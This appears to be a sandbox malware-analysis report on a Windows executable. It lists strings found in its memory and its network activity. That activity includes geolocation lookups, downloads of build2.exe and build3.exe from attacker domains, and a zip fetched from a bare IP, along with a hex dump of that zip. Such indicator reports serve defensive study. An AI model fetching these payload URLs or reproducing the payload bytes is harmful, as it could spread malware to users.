Source: U59WtZz2Sg.exe, 00000005.00000003.469204147.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.449920000.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.450333989.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.468930777.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.447608292.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.446128369.0000000003060000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.471179889.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.470164900.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.459195110.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.458107166.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.471657839.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.469951048.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.446549026.0000000003060000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.454318911.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.462575287.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.445860097.0000000003060000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.470405278.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.461142803.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.467350799.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.454777697.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.460776709.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/AA23z1a
Source: U59WtZz2Sg.exe, 00000005.00000003.457247775.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.385286762.000000000086A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/B
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000003.308040774.000000000089A000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000003.308057042.000000000089F000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json5
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json=
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json=P
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsongP
Source: U59WtZz2Sg.exe, 00000001.00000003.306241286.000000000089F000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000003.308057042.000000000089F000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000003.306100466.000000000089F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonk
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonl
Source: U59WtZz2Sg.exe, 00000005.00000003.545471776.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: U59WtZz2Sg.exe, 00000005.00000003.420123871.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BE6B7572D
Source: U59WtZz2Sg.exe, 00000005.00000003.545471776.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/B
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/B
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/B
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: U59WtZz2Sg.exe, 00000005.00000003.545471776.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/B
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: U59WtZz2Sg.exe, 00000005.00000003.545871666.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/B
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: U59WtZz2Sg.exe, 00000005.00000003.462575287.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.445860097.0000000003060000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.461142803.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.460215496.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.458323064.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/about/en-us/0
Source: U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://res-a.akamaihd.net/__media__/pics/8000/72/941/fallback1.jpg
Source: U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: U59WtZz2Sg.exe, 00000005.00000002.577980822.0000000002F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-5UcwRdS3
Source: U59WtZz2Sg.exe, 00000005.00000002.577338464.0000000000908000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.385599244.0000000000908000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.577980822.0000000002F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-5UcwRdS3ED
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.gnu.org/licenses/lgpl.html.
Source: U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/
Source: U59WtZz2Sg.exe, 00000005.00000003.420123871.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/application/x-msdownloadC:
Source: U59WtZz2Sg.exe, 00000005.00000003.444451772.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=02Google
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/zGoogle
Source: U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/B
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /asifrazatg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0;x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fresherlights.com
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: uaery.top
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fresherlights.com
Source: global traffic	HTTP traffic detected: GET /517 HTTP/1.1Host: 88.198.94.71
Source: global traffic	HTTP traffic detected: GET /176356074953.zip HTTP/1.1Host: 88.198.94.71Cache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 29 Nov 2022 23:22:31 GMTContent-Type: application/zipContent-Length: 2685679Last-Modified: Mon, 12 Sep 2022 13:14:59 GMTConnection: keep-aliveETag: "631f30d3-28faef"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 24 56 25 55 2b 6d 5c 08 39 7c 05 00 50 75 0a 00 0b 00 00 00 66 72 65 65 62 6c 33 2e 64 6c 6c ec bd 0f 5c 54 e7 95 37 3e 97 19 61 d0 89 77 28 34 21 29 55 48 68 ab ad 4d e7 3a a6 91 48 13 8c 0c 90 c4 31 18 1c 35 bb 4e 62 ba d6 f5 75 f3 26 46 99 c4 76 33 2d 64 20 ce e3 75 5a 92 d5 d6 6e b5 75 df b2 5d f7 7d e9 bb b4 ab c4 b4 da cc 80 85 11 29 0c 4a 61 50 aa 24 a1 66 28 6c 3b 40 2a ff 52 e6 77 ce 79 ee 9d 19 40 52 b3 bf ee 2f ed ef b3 f9 44 e6 fe 7d 9e f3 9c e7 fc f9 9e f3 fc b9 d6 bf da ab 11 34 1a 8d 4e 33 fd bf 3c cd 1f ff 6f 2f fc 5b b8 f8 27 0b 35 27 92 7f 91 75 4a 58 fb 8b ac 0d 3b fe c7 9e cc 5d bb 9f fd db dd 4f fd cf cc bf 79 ea 99 67 9e 2d cd fc e2 97 32 77 3b 9e c9 fc 1f cf 64 e6 3f 5a 92 f9 3f 9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf

Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.94.71

Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: U59WtZz2Sg.exe, 00000005.00000003.350334293.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: U59WtZz2Sg.exe, 00000005.00000003.350997403.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
